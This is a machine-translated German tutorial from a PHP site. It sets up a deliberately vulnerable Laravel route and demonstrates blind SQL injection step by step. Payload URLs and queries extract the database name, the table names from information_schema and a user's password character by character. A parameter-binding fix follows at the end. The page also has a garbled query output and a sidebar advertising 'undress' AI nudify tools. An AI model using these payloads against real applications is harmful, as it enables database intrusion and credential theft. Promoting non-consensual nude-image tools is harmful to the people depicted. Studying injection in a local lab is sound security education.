


Analysieren der SQL-Blind-Injection-Prinzipien anhand von Laravel-Schwachstellenbeispielen
Dieser Artikel bringt Ihnen relevantes Wissen über laravel, in dem hauptsächlich erläutert wird, wie das Prinzip der SQL-Blindinjektion durch die Erstellung einer Laravel-Schwachstelle erläutert wird. Werfen wir einen Blick darauf. Ich hoffe, es wird für alle hilfreich sein.
【Verwandte Empfehlung: Laravel-Video-Tutorial】
Umgebung
composer create-project laravel/laravel lar9 // 安装laravel9 // 编辑.env 修改为DEBUG=false 配置数据库 DEBUG=false DB_HOST=.... php artisan migrate php artisan serve // 启动 // 插入数据 insert into users(`name`,`email`,`password`) values('xxh','4******qq.com','worldhello');
Erstellen einer Schwachstelle
// routes/web.php Route::get('/', function () { $id = request()->id; $user = \App\Models\User::whereRaw('id = '.$id)->first(); return $user->name ?? ''; }); // 最后转换的sql是: select * from users where id = $id
Testen
http://127.0.0.1:8000/?id=1' // 500 http://127.0.0.1:8000/?id=1 and 1=2 // select * from users where id = 1 and 1=2; 返回空 http://127.0.0.1:8000/?id=1 and 1=1 // select * from users where id = 1 and 1=1 返回xxh
Schritte
Datenbankname
Erraten Sie den Datennamen Länge
url: http://127.0.0.1:8000/?id=1 and length(database()) = 1 select * from users where id = 1 and length(database()) = 1 select * from users where id = 1 and length(database()) = 2 // 一直循环下去
Erraten Sie den Datenbanknamen
从第一步 知道了数据库名长度 `select * from users where id = 1 and substr(database(),1,1) =a` `select * from users where id = 1 and substr(database(),1,1) =b` // 一直循环下去 找到数据库名的第一个做字符 然后找第二个字符 直到找完数据库名的长度
Zum Schluss: laravel_project
Tabellenname
Die folgenden Schritte ähneln dem Erraten der Datenbank, daher halte ich es einfach.
Informationsschema
Informationsschema wird mit MySQL geliefert.
Der Datenbankname, der Tabellenname, der Spaltentyp usw. werden vermutlich alle aus dieser Datenbank stammen.
Erraten Sie die Anzahl der Tabellen in laravel_project
url: http://127.0.0.1:8000/?id=1 and (select count(*) from information_schema.tables where table_schema ="laravel_project" ) = 5 mysql> select count(*) from information_schema.tables where table_schema ="laravel_projeelect count(column_name) from information_schema.columns where table_name= ’usersct"; +----------+ | count(*) | +----------+ | 5 | +----------+
Erraten Sie die Länge des ersten Tabellennamens
Es ist nicht viel mehr als [erraten Sie die Länge des Datennamens].
Erraten Sie den ersten Tabellennamen.
url: http://127.0.0.1:8000/?id=1 and ( select substr(table_name,1,1) from information_schema.tables where table_schema ="laravel_project" limit 0,1) = 'f' mysql> select substr(table_name,1,1) from information_schema.tables where table_schema ="laravel_project" limit 0,1; +------------------------+ | substr(table_name,1,1) | +------------------------+ | f | +------------------------+ // 得出第一个表的第一个字段是f 然后查第
select count(column_name) from information_schema.columns where table_name= 'failed_jobs'; // fail_jobs字段总数
Erraten Sie die Daten
Daten Das ist das Wichtigste. Da failed_jobs keine Daten enthält, habe ich sie in „Benutzer“ geändert.Benutzer haben ein Passwortfeld.
mysql> select substr((select password from users limit 0,1),1,1); +----------------------------------------------------+ | substr((select password from users limit 0,1),1,1) | +----------------------------------------------------+ | w | +----------------------------------------------------+ 得出第一个是w,存起来,最后判断 mysql> select substr((select password from users limit 0,1),1,2); +----------------------------------------------------+ | substr((select password from users limit 0,1),1,2) | +----------------------------------------------------+ | wo | +----------------------------------------------------+ 第二个值为o 用第一个值 + 第二个值作为盲注
Verteidigung
(Manchmal wird wo die Anforderungen nicht erfüllt, man braucht woRaw)Denken Sie bei Bedarf einfach daran, es zu binden.Route::get('/', function () { $id = request()->id; $user = \App\Models\User::whereRaw('id = ?',[$id])->first(); return $user->name ?? ''; });
Ps
Der Einfachheit halber wird oben die einfachste Suche verwendet. Manuelle Blindinjektion sollte eine binäre Suche verwenden.select * from users where id = 1 and substr(database(),1,1) ='a'; 换成二分: select * from users where id = 1 and ascii(substr(database(),1,1)) > 99;
Laravel-Video-Tutorial
】Das obige ist der detaillierte Inhalt vonAnalysieren der SQL-Blind-Injection-Prinzipien anhand von Laravel-Schwachstellenbeispielen. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Heiße KI -Werkzeuge

Undresser.AI Undress
KI-gestützte App zum Erstellen realistischer Aktfotos

AI Clothes Remover
Online-KI-Tool zum Entfernen von Kleidung aus Fotos.

Undress AI Tool
Ausziehbilder kostenlos

Clothoff.io
KI-Kleiderentferner

AI Hentai Generator
Erstellen Sie kostenlos Ai Hentai.

Heißer Artikel

Heiße Werkzeuge

Notepad++7.3.1
Einfach zu bedienender und kostenloser Code-Editor

SublimeText3 chinesische Version
Chinesische Version, sehr einfach zu bedienen

Senden Sie Studio 13.0.1
Leistungsstarke integrierte PHP-Entwicklungsumgebung

Dreamweaver CS6
Visuelle Webentwicklungstools

SublimeText3 Mac-Version
Codebearbeitungssoftware auf Gottesniveau (SublimeText3)

Heiße Themen

PHP und Flutter sind beliebte Technologien für die mobile Entwicklung. Flutter zeichnet sich durch plattformübergreifende Funktionen, Leistung und Benutzeroberfläche aus und eignet sich für Anwendungen, die eine hohe Leistung, plattformübergreifende und benutzerdefinierte Benutzeroberfläche erfordern. PHP eignet sich für serverseitige Anwendungen mit geringerer Leistung und nicht plattformübergreifend.

Datenbankoperationen in PHP werden durch ORM vereinfacht, das Objekte in relationalen Datenbanken abbildet. EloquentORM in Laravel ermöglicht Ihnen die Interaktion mit der Datenbank mithilfe einer objektorientierten Syntax. Sie können ORM verwenden, indem Sie Modellklassen definieren, Eloquent-Methoden verwenden oder in der Praxis ein Blog-System erstellen.

Laravel – Artisan Commands – Laravel 5.7 bietet eine neue Möglichkeit, neue Befehle zu behandeln und zu testen. Es enthält eine neue Funktion zum Testen von Handwerkerbefehlen und die Demonstration wird unten erwähnt?

Analyse des PHP-Unit-Test-Tools: PHPUnit: Geeignet für große Projekte, bietet umfassende Funktionalität und ist einfach zu installieren, kann jedoch ausführlich und langsam sein. PHPUnitWrapper: geeignet für kleine Projekte, einfach zu verwenden, optimiert für Lumen/Laravel, verfügt jedoch über eingeschränkte Funktionalität, bietet keine Code-Coverage-Analyse und hat begrenzte Community-Unterstützung.

Die neuesten Versionen von Laravel 9 und CodeIgniter 4 bieten aktualisierte Funktionen und Verbesserungen. Laravel9 übernimmt die MVC-Architektur und bietet Funktionen wie Datenbankmigration, Authentifizierung und Template-Engine. CodeIgniter4 nutzt die HMVC-Architektur, um Routing, ORM und Caching bereitzustellen. In Bezug auf die Leistung sorgen das auf Dienstanbietern basierende Designmuster von Laravel9 und das leichte Framework von CodeIgniter4 für eine hervorragende Leistung. In praktischen Anwendungen eignet sich Laravel9 für komplexe Projekte, die Flexibilität und leistungsstarke Funktionen erfordern, während CodeIgniter4 für schnelle Entwicklung und kleine Anwendungen geeignet ist.

Vergleichen Sie die Datenverarbeitungsfunktionen von Laravel und CodeIgniter: ORM: Laravel verwendet EloquentORM, das eine relationale Klassen-Objekt-Zuordnung bereitstellt, während CodeIgniter ActiveRecord verwendet, um das Datenbankmodell als Unterklasse von PHP-Klassen darzustellen. Abfrage-Builder: Laravel verfügt über eine flexible verkettete Abfrage-API, während der Abfrage-Builder von CodeIgniter einfacher und Array-basiert ist. Datenvalidierung: Laravel bietet eine Validator-Klasse, die benutzerdefinierte Validierungsregeln unterstützt, während CodeIgniter über weniger integrierte Validierungsfunktionen verfügt und eine manuelle Codierung benutzerdefinierter Regeln erfordert. Praxisfall: Beispiel einer Benutzerregistrierung zeigt Lar

Leitfaden zum Testen von PHP-Einheiten und -Integrationen Unit-Tests: Konzentrieren Sie sich auf eine einzelne Code- oder Funktionseinheit und verwenden Sie PHPUnit, um Testfallklassen zur Überprüfung zu erstellen. Integrationstests: Achten Sie darauf, wie mehrere Codeeinheiten zusammenarbeiten, und verwenden Sie die Methoden setUp() und TearDown() von PHPUnit, um die Testumgebung einzurichten und zu bereinigen. Praktischer Fall: Verwenden Sie PHPUnit, um Unit- und Integrationstests in Laravel-Anwendungen durchzuführen, einschließlich der Erstellung von Datenbanken, dem Starten von Servern und dem Schreiben von Testcode.

Bei der Auswahl eines Frameworks für große Projekte haben Laravel und CodeIgniter jeweils ihre eigenen Vorteile. Laravel ist für Anwendungen auf Unternehmensebene konzipiert und bietet modularen Aufbau, Abhängigkeitsinjektion und einen leistungsstarken Funktionsumfang. CodeIgniter ist ein leichtes Framework, das sich eher für kleine bis mittelgroße Projekte eignet und Wert auf Geschwindigkeit und Benutzerfreundlichkeit legt. Für große Projekte mit komplexen Anforderungen und einer großen Anzahl von Benutzern sind die Leistung und Skalierbarkeit von Laravel besser geeignet. Für einfache Projekte oder Situationen mit begrenzten Ressourcen sind die leichten und schnellen Entwicklungsfunktionen von CodeIgniter idealer.
